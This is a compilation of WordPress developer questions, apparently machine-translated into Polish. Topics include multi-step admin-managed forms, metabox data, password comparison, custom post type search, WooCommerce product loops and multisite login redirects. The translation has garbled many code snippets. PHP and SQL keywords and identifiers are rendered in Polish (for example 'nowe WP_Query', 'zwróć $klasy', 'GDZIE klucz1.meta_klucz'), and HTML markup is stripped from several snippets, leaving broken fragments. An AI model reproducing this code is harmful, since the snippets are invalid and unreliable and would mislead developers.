title: Jak zaimplementować trzy formularze (np. formularz kontaktowy) w wordpressie?

text: Pracuję nad witryną Wordpress. Muszę tutaj zaimplementować formularz, którym można zarządzać z poziomu administratora, co oznacza, że administrator może dodać pole jako wymaganie. W tej chwili domyślnie używam `szybkiej i bezpiecznej wtyczki formularzy`, która zapewnia cztery formularze. Ale każdy formularz ma swój własny przycisk "wyślij" Nie chcę tego Właściwie formularz potrzebuje klienta, który jest podzielony na trzy części oznacza że po wypełnieniu formularza jako pierwszy powinien pojawić się przycisk "następny" po kliknięciu następnego przycisku przechodzi do "drugiego formularza" po wypełnieniu drugiego W formularzu powinien znajdować się również przycisk „następny” po kliknięciu tego przycisku przechodzi do trzeciego formularza zawierającego przycisk „wyślij”. Wszystkie pola formularza powinny być zarządzane przez administratora. Wredny administrator może dodaćlub usunąćdowolne pole jako wymaganie Proszępodaćsugestię Będę wdzięczny wszystkim Dzięki Shalu


title: Choopy Odtwarzanie wideo w wyskakującym okienku za pomocą Artiss Youtube Embed

text: Używam Artiss Youtube Embed do osadzania filmów z YouTube na mojej stronie, co działa świetnie, ponieważ pozwala mi kontrolować wszystkie parametry odtwarzacza wideo. Mój problem polega na tym, że film ma przerywane odtwarzanie, gdy jest odtwarzany w wyskakującym okienku. Pozwalam użytkownikom klikać miniatury na stronie głównej, a następnie używam wtyczki SimpleModal Jquery, aby wyświetlić wideo z postu. Przetestowałem wideo z youtube za pomocą ich kodu do osadzania iframe i zadziałało idealnie. Więc coś z tą wtyczką powoduje przerywane odtwarzanie, które występuje tylko w wyskakującym okienku. Działa normalnie na jednej stronie posta. Masz pomysł, co może być tego przyczyną?


title: Wyświetl metabox danych na stronie

text: Utworzyłem metabox ma pole tekstowe w admin strony, więc po walidacji dane są zapisywane, ale nie są wyświetlane na stronie (motywie) Mam nadzieję, że dobrze wyjaśnię mój problem. oto mój kod: <?php add_action('add_meta_boxes','dar_meta_create'); function dar_meta_create() { add_meta_box( 'dar_meta', // $id 'metabox dardar', // $title 'dar_meta_function', // $callback 'page', // $page 'normal', // $context 'high '); } // funkcja wywołania zwrotnego dar_meta_function($post) { wp_nonce_field(basename(__FILE__), 'dar_nonce'); // pobierz wartość obszaru tekstowego $shortcode = get_post_meta($post->ID,'_shortcode',true); echo '<textarea name="_shortcode" id="_shortcode">'.wp_kses_post($shortcode).'</textarea>'; } // zapisz funkcję metabox dar_meta_save($id,$post) { // sprawdź autozapis if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return $id; if ( 'page' == $post->post_type && current_user_can('edit_page', $id) && wp_verify_nonce($_POST['dar_nonce'], basename(__FILE__)) && isset($_POST['_shortcode']) ) update_post_meta($id, '_shortcode', strip_tags($_POST['_shortcode'])); } add_action('save_post','dar_meta_save'); I dzięki.


title: dodaj klasę po zalogowaniu

text: dodaję ten kod w `index.php`. `<div class="Div1"></div>`. następnie napisz css (pozycja absolucji) do `Div1`. więc kiedy loguję się w moim wordpressie. administrator nav zepchnie niektóre spacje do treści witryny. więc treść jest nienormalna. teraz chcę dodać `class` do `<div class="Div1">` podczas logowania. czy istnieje sposób, aby to uzyskać.


title: Wordpress 3 - jak przechowywane są hasła i jak je porównać?

text: Z powodów, do których nie mogę się teraz zagłębić, tworzę formularz, który pozwoli użytkownikom zmienić swoje hasła do Wordpress, wprowadzając ich aktualne hasło, a następnie wprowadzając nowe hasło. Chcę przeprowadzić wyszukiwanie w bazie danych, aby sprawdzić, czy wprowadzone hasło jest poprawnym hasłem już zapisanym w bazie danych. Jednak w WP hasła są w jakiś sposób zaszyfrowane, więc wykonanie prostego porównania SQL w tej kolumnie nie zadziała. Próbowałem użyć `md5()` na haśle do wyszukiwania, ale to też nie działa. Oto mój sql: `SELECT ID, user_pass FROM wp_users WHERE ID = '$current_user->ID' AND user_pass = 'md5($currentpassword)' LIMIT 1` Możesz zignorować większość tego, ale muszę wiedzieć, jak ja można dokonać porównania z kolumną user_pass? Testowałem tę metodę powyżej i zwraca 0 wierszy - z lub bez `md5()` Proszę o pomoc! Bardzo doceniane. Michał.


title: Czego powinienem użyć — taksonomii, pól niestandardowych, typu posta?

text: Założyłem blog podróżniczo-fotograficzny. Chcę mieć różne typy wpisów: Podróże, Recenzje hoteli itp. Do wpisu podróżniczego chcę dodać unikalne dane, takie jak: Miasto, Pogoda (dla aktualnego czasu na ten dzień), Metadane Geotagu (długi i łac. ). itp. Jestem nowy w niestandardowych taksonomii, niestandardowych typach postów i niestandardowych polach. Na przykład nie wiem, kiedy powinienem używać niestandardowych taksonomii, a kiedy używać niestandardowych pól. Istnieje wiele wtyczek, które myślałem o zakupie, oto dwie z nich: http://codecanyon.net/item/easy-custom-content-types-for-wordpress/234182 http://www.dev4press.com/ plugins/gd-taxonomies-tools/features/ Co chcę osiągnąć: 1) Dodaj miasto dla niestandardowego typu postu (wybierz z listy miast za pomocą rozwijanej listy miast, które dodałem do listy) a także załącz zdjęcie miasta na dole mojego postu. 2) Wybierz pogodę i użyj ikony, aby pokazać użytkownikowi aktualną pogodę na ten dzień fotografowania 3) Miej adres URL taki jak: http://mojadomena.com/nazwa-miasta http://mojadomena.com/nazwa-miasta /post-name.html Nazwa miasta byłaby taksonomią — ale co, jeśli mam kilka taksonomii, jak mogę zbudować strukturę permalink, aby zachować tę strukturę? 4) Optymalizacja i szybkość - Z tego, co przeczytałem, muszę użyć wartości liczbowej jako pierwszego elementu w mojej strukturze permalinka, aby zminimalizować obciążenie mojej bazy danych WordPress, a także uniemożliwić WordPressowi tworzenie szczegółowych reguł. Czy to oznacza również taksonomie w adresie URL? Jest wiele pytań, na które nie mam odpowiedzi. Jestem bardzo zdezorientowany wszystkimi wtyczkami i informacjami, które naprawdę potrzebują pomocy od was. Z góry dziękuję.


title: Świetne zasoby witryny blogów / samouczek dla programistów Wordpress?

text: Czasami uczę się kilku sztuczek z samouczków blogów wordpress i świetnie, że niektórzy ludzie w tej dziedzinie dzielą się tym, co wiedzą o pracy z kodowaniem wokół wordpress. Zastanawiam się tylko, czy niektórzy z was znają blogi, które są samouczkami wordpress o jakości gastronomicznej (jak praca w API, tworzenie motywów, tworzenie wtyczek, artykuły). Wiem .... są ich tysiące, więc chciałem wiedzieć, czy masz listę najlepszych witryn, o których wiesz, że to robią. Prawdopodobnie witryny, które dodałeś do zakładek i regularnie odwiedzasz. wszelkie sugestie będą fajne


title: Wybierz pierwszy element podrzędny/podstrony na stronach listy wp

text:
To pytanie jest kontynuacją pytania, które wysłałem wcześniej, Ok, kod HTML, który próbuję wyprowadzić, jest taki sam jak poprzednie pytanie - tutaj: Aktualny kod HTML jest następujący:

O nas

Podrzędne informacje

Wnuk firmy About

Porozmawiaj z nami

 Oto kod, którego używam w header.php do generowania elementów html/menu:

 <?php // Zapytaj bazę danych o wszystkie identyfikatory stron najwyższego poziomu i przechowuj je w tablicy $menuPages w podtablicy [ID] $menuPages = $wpdb->get_results( "SELECT ID FROM $wpdb->posts WHERE post_parent=0 AND post_type='page' AND post_status='publish' ORDER BY menu_order ASC"); // Dla każdego elementu w tablicy $menuPages pobierz wartość z podtablicy [ID], aby utworzyć menu najwyższego poziomu i jego elementy potomne foreach($menuPages as $menuItem){ $menuItemTitle = get_the_title($menuItem->ID ); $menuItemClass = strtolower(trim($menuItemTitle)); $menuItemClass = preg_replace('/[^a-z0-9-]/', '-', $menuItemClass); $menuItemClass = preg_replace('/-+/', "-", $menuItemClass); $menuItemPermalink = get_permalink($menuItem->ID); if (isset($menuItemTitle) && $menuItemTitle != 'Home'){ _e('
'.PHP_EOL); _e(''.$menuItemTitle.''.PHP_EOL); // Uruchom wp_list_pages, aby pobrać dowolne dzieci i umieść wyniki listy HTML
 w $menuItemChildren jako łańcuch $menuItemChildren = wp_list_pages('title_li=&echo=0&sort_column=menu_order&child_of='.$menuItem->ID); $menuItemChildren = preg_replace('%
%U', '', $menuItemChildren); $menuItemChildren = str_replace('
', '', $menuItemChildren); $menuItemChildren = str_replace('<a', '
<a', $menuItemChildren); $menuItemChildren = str_replace('', '
', $menuItemChildren); $menuItemChildren = str_replace('
', '', $menuItemChildren); $menuItemChildren = str_replace('
', '', $menuItemChildren); // Jeśli wyniki zostały zwrócone, $menuItemChildren jest teraz ciągiem znaków z kodem HTML, więc utwórz listę rozwijaną i wyświetl kod HTML if($menuItemChildren){ _e('
'.PHP_EOL) ; _e('
'.PHP_EOL); _e('
'.PHP_EOL); _e('
'.PHP_EOL); echo '
' .$menuItemDzieci. '
' . PHP_EOL; _e('
'.PHP_EOL); _e('
'.PHP_EOL); _e('
'.PHP_EOL); _e('
'.PHP_EOL); } _e('
'.PHP_EOL); } } ?>

 Wiem, że jest to prawdopodobnie bardzo zły sposób na zrobienie tego, ale wydaje się, że większość pracy wykonuje się dobrze. Jedyne, co pozostało do zrobienia, to zmiana pozycji/podstron podrzędnych na poziomie/głębokości 1 z „dd” na „dt”, pozostawiając podstrony jako „dd”. Wydaje mi się, że potrzebuję kodu, który pobiera pierwszy element/dziecko i nadaje mu znaczniki „dt”, a następnie wszystkie inne znaczniki „dd”, ale nie mogę tego zrozumieć. Mam nadzieję, że to ma sens i każda pomoc jest bardzo doceniana, S. (Przyjrzałem się metodzie klasy Walker : ( )


title: Zmiana typu strony w oparciu o maksymalną szerokość Oembed

text: Jak zmienić/filtrować ustawienia maksymalnej szerokości oembed (ustawione przez ) admin -> media -> ustawienia -> "Maksymalny rozmiar embed" przed wykonaniem kodu oembed. Na przykład na stronach indeksu chcę, żeby było 540, ale na pojedynczej stronie chciałbym, żeby było 880?


title: Strona wyszukiwania dla niestandardowego typu postu

text: Jestem nowicjuszem w wordpressie i początkującym koderem, szukałem w sieci, znalazłem rozwiązania, ale nadal nie działa. Mam niestandardowy typ posta o nazwie `dlm_download`, a mój niestandardowy szablon wyszukiwania nie działa. Dodałem następujące elementy do mojego pliku `functions.php` - kod pochodzi z tej odpowiedzi od @Ronald. function template_chooser($template) { global $wp_query; $post_type = get_query_var('post_type'); if( $wp_query->is_search && $post_type == 'dlm_download' ) { return locate_template('archive-download.php'); } return $szablon; } add_filter('template_include', 'template_chooser'); Utworzyłem `archive-download.php` i kiedy wykonuję niestandardowe wyszukiwanie, otrzymuję adres URL taki jak `mysite.com/?dlm_download=699` nic się nie dzieje, po prostu zostaje przekierowany na moją stronę główną. Czy mógłby ktoś powiedzieć, co robię źle?


title: Pliki FTP bezpośrednio do biblioteki mediów wp-content\uploads

text: Chciałbym użyć zautomatyzowanego procesu do replikacji folderu plików innego niż WordPress w \wp-content\uploads\ i automatycznie zarejestrować pliki w Bibliotece multimediów. Mógłbym użyć takiego procesu, aby przesłać pliki, a następnie zarejestrować je za pomocą Add From Server (http://wordpress.org/plugins/add-from-server/) lub podobnego Media From FTP. Ale to wydaje się być nadmiernym wkładem człowieka. LR/Blog (http://www.photographers-toolbox.com/products/lrblog.php) wydaje się być w stanie zapisywać do WP i jednocześnie rejestrować pliki. Jak można to zrobić z dowolnymi plikami za pomocą wiersza poleceń?


title: Treść znika z kreatora układu po aktualizacji strony

text: rozwijam stronę internetową (http://www.estero.co.nz). po pierwsze jestem bardzo zadowolony z wordpressa, który ułatwił nam życie przy tworzeniu stron internetowych. Zbudowałem już dwie strony za pomocą wordpress, ale po raz pierwszy mam problem. Pracowałem nad budowaniem witryny estero po uruchomieniu trzeciej strony za pomocą kreatora układów, w momencie, gdy kliknę aktualizację, zawartość znika. muszę ukończyć stronę przed rozpoczęciem wydarzenia za 15 dni, ale jakoś ten problem mi na to nie pozwala. uprzejmie zasugeruj rozwiązanie. Adres URL strony – motyw http://www.estero.co.nz – złóż WordPress 3.9.2 dzięki


title: „wkrótce” zastępcze posty na blogu?

text:
Mam skonfigurowaną stronę z sześcioma postami na stronę z dwoma rzędami po trzy posty. Jeśli mam tylko jeden post, chciałbym, aby pozostałe pięć zawierało „obrazy zastępcze”, które informują widzów, że nadchodzi więcej postów. Coś w rodzaju tego: ![tutaj podaj opis obrazu](http://i.stack.imgur.com/UMBZB.jpg) Utworzyłbym zastępcze obrazy do umieszczenia tam. Oto jak wygląda mój blog. Dość podstawowe. Czy ktoś kiedykolwiek zrobił coś takiego wcześniej?
 <?php if ( have_posts() ): ?> <?php while ( have_posts() ) : the_post(); ?> <id artykułu="post-<?php the_ID(); ?>" <?php post_class(); ?>>
 <?php the_title( sprintf( '
', esc_url( get_permalink () ) ), '
' ); ?> <?php mobile_mix_posted_on(); ?>
 <?php if ( '' != get_the_post_thumbnail() ) { the_post_thumbnail(); } ?>
 <?php endwhile; ?> <?php mobile_mix_paging_nav(); ?> <?php else : ?> <?php get_template_part( 'treść', 'brak'); ?> <?php endif; ?>


title: Twarde kodowanie i wydajność WordPress

text: Na stronie Optymalizacja/Wydajność WordPressa sugeruje zakodowanie zmiennych statycznych zamiast odwoływania się do nich za pomocą funkcji WordPressa. Myślę, że mam za tym uzasadnienie. Ale co z zrobieniem czegoś takiego: function foobar() { global $post; $post_ID = $post->ID; $site_url = site_url(); // Wielokrotne użycie $post_ID i $site_url w całej funkcji } Czy to lepsza wydajność niż jawne wywoływanie `$post->ID` i `site_url()` za każdym razem, gdy chcesz się do nich odwołać? Czy to nie ma znaczenia?


title: Niestandardowa pętla produktów Woocommerce nie wyświetla wszystkich produktów na stronie głównej

text: To jest kod, którego używam do wyświetlania produktów na stronie głównej. <ul class="produkty"> <?php $arg1 = array( 'post_type' => 'produkt', 'posts_per_page' => 8 ); $pętla = nowe WP_Query( $arg1 ); if ( $loop->have_posts() ) { while ( $loop->have_posts() ) : $loop->the_post(); wc_get_template_part( 'treść', 'produkt' ); koniec; } else { echo __( 'Nie znaleziono produktów' ); } wp_reset_postdata(); ?> </ul> Ale widziałem tylko 1 produkt zamiast określonych 8. Jeśli zmienisz język angielski, a 0.. Masz jakieś pomysły, dlaczego? Używam korzeni szablonów. Oto adres URL: http://www.granitnagyker.hu


title: Jak podzielić wgrane media na katalogi?

text: Czytam dokumentację Biblioteki multimediów WordPress i wydaje mi się, że nie pozwala ona na dzielenie wgranych multimediów na katalogi. Czy to prawda? Dlaczego ten wybór? Jak mogę to wdrożyć?


title: $ kolejność sortowania wpdb

text: $ meta_key1 = 'pierwszy_meta'; $ meta_key2 = 'drugi_meta'; $postids = $wpdb->get_col( $wpdb->prepare( " SELECT key1.post_id FROM $wpdb->postmeta key1 INNER JOIN $wpdb->postmeta key2 ON key2.post_id = key1.post_id AND key2.meta_key = %s GDZIE klucz1.meta_klucz = %s AND klucz1.meta_wartość <= 250 ORDER BY klucz2.meta_wartość+(0) DESC ”, $meta_klucz2, $meta_klucz1 ) ); Dlaczego ten kod daje mi wynik uporządkowany przez `first_meta`, kiedy potrzebuję (i przypuszczam, że mam) otrzymać wpisy o zamówieniach przez `second_meta`? Co robię źle? Skopiowałem ten przykład z przykładu 4 — $wpdb — Codex — i zmieniłem tylko jedną linię.


title: Wiele domen za jedną instalację

text: Muszę stworzyć nowy projekt, który będzie wieloregionalny. Muszę zmienić adres URL strony w zależności od adresu IP użytkownika. W moim projekcie będziemy mieć trzy różne domeny: * Nasza główna strona: www.mysite.com * Nasza brytyjska domena: www.mysite.co.uk * Nasza domena australijska: www.mysite.com.au Ten projekt musi być zarządzane tylko przez jedną **instalację witryny** Oto, o czym myślałem: 1. Zmodyfikuj plik htaccess dwóch domen "extend" (co.uk i com.au), aby przekierować użytkowników do mojej głównej: www. mysite.com Oto moje przekierowanie htaccess na obu moich domenach "extend" (co.uk i com.au) Redirect 301/ http://www.mysite.com/ 2. Na mojej pojedynczej instalacji Wordpress, gdzie będzie strona (.com), zdobędę adresy IP użytkowników Do tego użyłem biblioteki geoiploc (działa idealnie) 3. Jeśli użytkownik ma adres IP UK lub AU, przekieruję go na odpowiedni adres URL. Oto mój problem: próbowałem zmodyfikować adres URL w function.php zgodnie z wykrywaniem IP w ten sposób. update_option('siteurl','http://www.mysite.co.uk'); update_option('home','http://www.mysite.co.uk'); Przekierowania działają (można przeglądać modyfikacje linków na stronie). Jednak odkąd wykonałem przekierowania "rozszerzenia" domen, zawsze będę wyświetlał stronę .com. Jak więc mogę uniknąć tego problemu? Uwaga: Odkryłem, że mogę korzystać z wielu domen z wtyczką analityczną, która będzie bardzo pomocna. Jednak ta wtyczka wymaga „ustawień DNS”. **Czy modyfikacja htaccess przez moje „rozszerzenie” domen wystarczy?** Oto konfiguracja wtyczki na mojej stronie .com: * Domena 1: www.mojawitryna.co.uk * Adres Wordpress (URL): www. mojawitryna.com * Adres bloga (URL): www.mojawitryna.com * Domena 2: www.mojawitryna.com.au * Adres Wordpress (URL): www.mojawitryna.com.au * Adres bloga (URL): www.mojawitryna. .com.au Uwaga: Później dodam rozwijaną listę, aby umożliwić użytkownikom wymianę domen (.com, .co.uk, .con.au) Każda pomoc będzie mile widziana, na zdrowie!


title: Użytkownicy moderują własne komentarze

text: Tworzę stronę portfolio i natknąłem się na coś, co chciałbym zaimplementować, ale nie jestem pewien, jak mogę to zrobić. Zasadniczo, ponieważ witryna jest teraz (w fazie rozwoju), użytkownik nigdy nie miał (lub nie będzie miał) dostępu do wp-admin w celu zmiany jakichkolwiek swoich danych, może to zrobić za pośrednictwem strony profilu użytkownika. Każdy użytkownik ma swoją stronę portfolio/bio z formularzem komentarzy na dole, chcę to zrobić tak, aby wszelkie komentarze pozostawione na tej stronie były moderowane przez właściciela tej strony, czyli idealnym rozwiązaniem byłoby: 1) Bio page właściciel zostanie powiadomiony e-mailem o nowym komentarzu. 2) Właściciel strony biograficznej loguje się i przechodzi na stronę profilu użytkownika, aby przejrzeć, a następnie zaakceptować/odrzucić komentarz, po zaakceptowaniu jest on publikowany. Każdy ma jakiekolwiek wcześniejsze doświadczenie w tym lub zna działającą stronę/wtyczkę, na którą mógłbym się przyjrzeć, lub po prostu ogólne porady dotyczące tego, co próbuję zrobić. Z poważaniem


title: Uzyskaj nowe metadane posta po zapisaniu (niestandardowego) posta

text: Kiedy zapisuję swój post (niestandardowy typ posta: projekt), chcę uzyskać metadane dla określonego klucza, który właśnie wstawiłem. Na podstawie wartości tego klucza wstawiam produkt w WooCommerce. Dzieje się tak, że otrzymuję wartość ** przeszłą ** dla klucza meta, zamiast ** obecnego/nowego**. Oto kod, którego używam: function shortened($post_id){ $key_verkoop_ja_nee = "kaart_verkoop"; //$value_verkoop_ja_nee = get_post_meta($post_id, $key_verkoop_ja_nee, TRUE); //$value_verkoop_ja_nee = $GLOBALS["wp_object_cache"]->cache["post_meta"][$post_id][$key_verkoop_ja_nee][0]; //$value_verkoop_ja_nee = $_WNIOSEK[$key_verkoop_ja_nee]; $value_verkoop_ja_nee = $_POST[$key_verkoop_ja_nee]; if($value_verkoop_ja_nee == "Tak"){ //Zrób dużo rzeczy } } add_action( 'save_post_project', 'shortened', 999 ); $_POST i $_REQUEST nie zwracają żadnej wartości, get_post_meta i $GLOBALS zwracają przeszłą wartość. Próbowałem edit_post zamiast save_post, w/zmniejszyłem ważność (999) i użyłem globalnego $post w funkcji. Nic nie działa. Masz pomysł, jak uzyskać nową wstawioną wartość meta? Wielkie dzięki!


title: Jaki jest cel wtyczki „Hello Dolly”?

text: Dlaczego ta wtyczka została domyślnie spakowana? Wiem, że „Akismet” zapobiega spamowi, ale „Hello Dolly” nic nie robi. Czy ktoś może wyjaśnić, do czego służy wtyczka `Hello Dolly?


title: Oczyszczanie Body_Class

text: Obecnie, kiedy używam `body_class()` generuje mnóstwo bzdur, których nie potrzebuję. Chciałbym mieć następujące elementy: strona główna: class='strona główna bloga' single: class='pojedyncza strona bloga' autor: class='autor strony bloga' kategoria class='kategoria strony bloga ' Czy powinienem używać add_filter dla body_class? A może po prostu stworzyć własną funkcję?


title: Wordpress Ajax otrzymuje odpowiedź „Null”

text: Próbuję uzyskać identyfikator postu na stronie HOME .Do tej pory moje kodowanie to wp_enqueue_script('my-ajax-request', get_stylesheet_directory_uri() .'/js/ajax.js', array('jquery') ); wp_localize_script( 'my-ajax-request', 'MyAjax', array( 'ajaxurl' => admin_url( 'admin-ajax.php') ) ); add_action ('wp_ajax_nopriv_ajax_request', 'ajax_handle_request'); add_action ('wp_ajax_ajax_request', 'ajax_handle_request'); funkcja ajax_handle_request(){ $postID = $_POST['id']; if (isset($_POST['id'])){ $post_id = $_POST['id']; }else{ $post_id = ""; } globalna $post; $post = get_post($postID); $response = array( 'sucess' => true, 'post' => $post, 'id' => $postID , ); // wygeneruj odpowiedź print json_encode($response); // WAŻNE: nie zapomnij "exit" exit; } I Moje jquery jQuery(document).ready(function($) { $('h1.entry-title a').click(function(event) { event.preventDefault(); var id = $(this).data ('id'); $.ajax({ type: 'POST', url: MyAjax.ajaxurl, data: {'action' : 'ajax_request', 'id': id}, dataType: 'json', success: function (data) { alert(data['post']); } }); return false; }); }); Ale otrzymuję alert Null zamiast identyfikatora posta.


title: Multisite — przekieruj wszystkich użytkowników na stronę główną podwitryny po zalogowaniu się do podwitryny

text: Mam wielostanowiskową sieć WordPress i chciałbym przekierować wszystkich użytkowników logujących się do podwitryny na stronę główną podwitryny. Znalazłem wiele wtyczek i kodu functions.php, które przekierowują do głównej witryny sieci, ale nie udało mi się znaleźć rozwiązania, które przekieruje użytkowników na stronę główną podwitryny, omijając w ten sposób pulpit nawigacyjny podwitryny. W idealnym przypadku rozwiązanie przekieruje wszystkie role (administrator przez subskrybenta). Wszelkie wskazówki byłyby mile widziane! Dzięki, Mike


title: wp_insert_category() ustawienie „cat_ID” daje nie błąd tablicy

text: Piszę wtyczkę, która automatycznie tworzy mnóstwo rzeczy, czyli kategorie i kategorie podrzędne. Ale kiedy używam następującego kodu do tworzenia kategorii: (z kodeksu wp) //Utwórz kategorie postów $my_cat = array( 'cat_ID' => 1146, 'cat_name' => 'Newcastle Community News & Views', 'category_description' => '', 'category_nicename' => 'wiadomości', 'category_parent' => '', 'taksonomia' => 'kategoria' ); $ my_cat_id = wp_insert_category ($ my_cat); Daje mi następujący błąd. > > Ostrzeżenie: array_merge() [function.array-merge]: Argument #1 nie jest > tablicą w /home/newcastl/public_html/wp-includes/taxonomy.php w wierszu 2535 > Z identyfikatorem w '' nie działa zarówno. Muszę ustawić identyfikator, abym mógł się do niego odwoływać podczas korzystania z sub-kotów. Dziękuję!


title: Obrazy w motywie siatki Twenty Eleven

text: Staram się **wyświetlać obrazy w siatce tak, że 5 obrazów z rzędu**. Kod umieściłem w `functions.php`: add_filter('post_class','clear_left_four_class'); funkcja clear_left_four_class ($classes) { global $wp_query; if( $wp_query->current_post%5 == 0 ) $classes[] = 'clearleft'; zwróć $klasy; } iw stylu umieściłem kod w `style.css`: .hentry { width: 24%; margines lewy: 1%; pływak: lewy; } .clearleft { wyczyść: lewy; margines: 0; } ale **obecnie pokazuje tylko 3 obrazki pod rząd** Wykonałem już czytanie jako 5 postów


title: Paginować poziomo w zestawach postów na blogu?

text: Mam swoje posty skonfigurowane w ten sposób: ![tutaj wprowadź opis obrazu](http://i.stack.imgur.com/toRZM.jpg) Chciałbym, aby użytkownicy przewijali posty za pomocą strzałek w lewo i w prawo. Kiedy więc użytkownicy klikną na przykład prawą strzałkę, kolejne sześć postów zostanie wyświetlonych poziomo. Wiem, jak wyciągnąć główne zapytanie o posty i ustawić posty na stronie na sześć, ale jak sprawić, by te posty działały z paginacją?


title: Sortuj posty według wielu metakluczy

text: Nie jestem nowy w wordpressie, ale nie jestem zbyt dobry w PHP. Mam nadzieję, że ktoś może mi pomóc, ponieważ próbowałem już szukać rozwiązania przez ponad 5 godzin bez powodzenia. Mam więc stronę archive.php, na której chcę sortować posty według 3 metakluczy. Wszystkie mają wartości liczbowe. Są to nazwy pól meta: "vorstellung-filmdatum" (Data), "vorstellung-uhrzeit-stunde" (Godzina) i "vorstellung-uhrzeit-minute" (Minuta). W tej chwili używam następującego kodu, ale sortuje on tylko według ostatniego meta-klucza (w tym przypadku "vorstellung-uhrzeit-minute"). globalne $wp_query; $args = array_merge( $wp_query->query, array( 'posts_per_page' => 12, 'meta_key' => 'vorstellung-filmdatum', 'orderby' => 'meta_value_num', 'order' => 'ASC', ' meta_key' => 'vorstellung-uhrzeit-stunde', 'orderby' => 'meta_value_num', 'order' => 'ASC', 'meta_key' => 'vorstellung-uhrzeit-minute', 'orderby' => 'meta_value_num ', 'zamówienie' => 'ASC', ) ); zapytanie_posty( $args ); while (have_posts()) : the_post(); ?> Jak mogę zmienić to, aby było sortowane według wszystkich trzech metakluczy? Chcę posortować posty w następujący sposób: -- Data 1 --- Godzina 1 ------ Minuta 1 ------ Minuta 2 --- Godzina 2 ------ Minuta 1 -- ---- Minuta 2 -- Data 2 --- Godzina 1 ------ Minuta 1 itd. Czy ktoś może mi pomóc?


title: Potrzebujesz wtyczek i motywów ze strony klienta

text: Muszę pobrać motywy i wtyczki klienta, aby przenieść ich witrynę na nasze serwery. Próbowałem użyć migracji All In One, ale to nie zadziałało i spowodowało pewne błędy. Teraz mam zamiar zrobić nową instalację Wordpressa. Mogę uzyskać bazę danych za pomocą narzędzia Migrate DB, ale nie mam pojęcia, jak uzyskać motywy lub wtyczki. Oczywiście nie mam dostępu do FTP ani hostingu, ponieważ obecny hoster nie chce udostępniać tych informacji, aby ułatwić nam zdobycie plików. Jakieś sugestie dotyczące wtyczek lub metod pobierania plików witryny, abym mógł przeprowadzić migrację?


title: Alternatywny format posta?

text: Klient chce dołączyć do posta jeden z kilku „formatów” (publikacja, briefing, informacja prasowa itp.). Tworzenie niestandardowych typów postów wydaje się niepotrzebne, ponieważ wszystkie mają te same pola. Ponieważ formatów postów nie można rozszerzyć, czy w tym przypadku poleciłbyś niestandardową taksonomię?


title: Zapobiegaj potwierdzaniu przeładowania po zapisaniu AJAX

text: Zapisuję informacje w panelu administracyjnym przez ajax. Problem, z którym się spotykam, to wyskakujące okienko „Czy na pewno chcesz opuścić tę stronę”, mimo że wszystko zostało zapisane. Czy istnieje sposób na oznaczenie strony jako zapisanej?


title: Włącz komentarze do posta z usuniętym polem komentarzy

text: Stworzyłem niestandardowy typ postu we wtyczce dla witryny, nad którą pracuję. Pozwalam użytkownikom, którym przypisano rolę niestandardową, dodawać/edytować/usuwać niestandardowe typy postów. Chciałbym zapewnić tym użytkownikom jak najmniej funkcji w adminie poza publikowaniem. Użyłem więc `remove_meta_box`, aby usunąć kilka paneli na ekranie edycji postów konwersacji dla tych użytkowników za pomocą wtyczki. Jednym z pól meta, które wyłączyłem, jest commentsstatusdiv, które zawiera elementy formularza dla statusu komentarza i śledzenia. Wydaje się, że jeśli brakuje elementu formularza statusu komentarzy, pole `comment_status` zostaje wyłączone. Chcę domyślnie włączyć komentarze dla typu posta i uniemożliwić użytkownikom w tej roli zmianę ustawienia komentarzy. Ale gdy użytkownicy zapisują, status komentarza do posta jest wyłączony. Mogę wymusić ustawienie za pomocą filtra `wp_insert_post_data`. Ale nie chcę zastępować administratorów. Chciałbym, żeby administratorzy mieli kontrolę. Jak wymusić, aby status komentarzy był domyślnie włączony i uniemożliwić użytkownikom określonej roli zmianę go, jednocześnie zezwalając administratorom na ich włączanie/wyłączanie?


title: dlaczego jest tak wiele postów, których post_type jest rewizja? czy te rekordy zmarnują zbyt dużo miejsca w bazie danych?

text: z poniższych danych możemy wiedzieć, że jest tylko 30 rekordów, które mają znaczenie, i są 92 rekordy typu post_type wersji, których nie można pokazać na blogu. więc czy te rekordy będą marnować zbyt dużo miejsca w bazie danych? czy zaleca się zapisywanie tego rodzaju poprawek? (btw, mogę często edytować mojego bloga) mysql> select count(*),post_type, post_status z grupy wp_137_posts według post_type, post_status; +----------+-----------+--------------+ | liczba(*) | post_type | post_status | +----------+-----------+--------------+ | 1 | strona | opublikuj | | 2 | post | automatyczny szkic | // również, czy powinienem usunąć ten rekord? | 30 | post | opublikuj | | 92 | wersja | odziedziczyć | +----------+-----------+-------------+ 4 rzędy w zestawie (0,24 s)


title: Zapisywanie danych do bazy danych i eksportowanie do Excela

text: Tworzę formularz na blogu, aby użytkownicy mogli rejestrować swoje e-maile, aby móc później wysyłać newsletter, ale nie chcę do tego używać żadnej wtyczki newslettera. Chciałbym zapisać e-maile, a następnie wyeksportować je do czegoś innego, np. Excela lub pliku cvs. Czy jest jakaś wtyczka lub inne rozwiązanie, aby to zrobić?


title: Jak chronić mojego bloga?

text: Zainstalowałem wtyczkę "tylko dla zarejestrowanych użytkowników", która działa idealnie... ALE jeśli wpiszę adres URL dla niektórych moich załączników /wp-content/uploads/2011/.... Mogę łatwo pobrać wszystko, nawet jeśli nie jestem zalogowany w? Jak przekierować użytkowników do strony logowania, jeśli próbują bezpośrednio pobrać moją zawartość?


title: Czy musisz mieć dostęp do wiersza poleceń, aby używać Subversion z Wordpressem?

text: Moja grupa nie ma dostępu z wiersza poleceń do komputera, na którym działa nasza instancja WordPress. Jednak nadal chcielibyśmy zainstalować/zaktualizować za pomocą Subversion. czy to możliwe? Czy Subversion musi być na tym samym komputerze?


title: Jak dodać źródłowy adres URL jako pole niestandardowe w autoblogowanej wtyczce Wordpress?

text:
Moja strona internetowa działająca na wtyczce autoblogowanej i zainstalowanym motywie to ipin pro. Chciałem autoblogować posty, aby dodać źródłowy adres URL, w pokazach stron przesłanych przez użytkownika. proszę pomóż. Chciałem "przesłać przez użytkownika" do wartości pola niestandardowego autoblogowanego, zrzut ekranu dołączony tutaj http://imgur.com/EOxtrje , mój zrzut ekranu z autoblogowaną niestandardową stroną jest tutaj - http://i.imgur.com/LlA2HTN.jpg? 1 Jakie są wartości w polu niestandardowym? Oto strona źródłowa page_source.php w motywie <?php /* Nazwa szablonu: _source */ ?> <?php get_header(); globalny $ user_ID, $ wp_rewrite; ?>
 <?php if(isset($wp_query->query_vars['domain'])) { $source = rawurlencode($wp_query->query_vars['domain']); } else { $źródło = '...'; } ?>

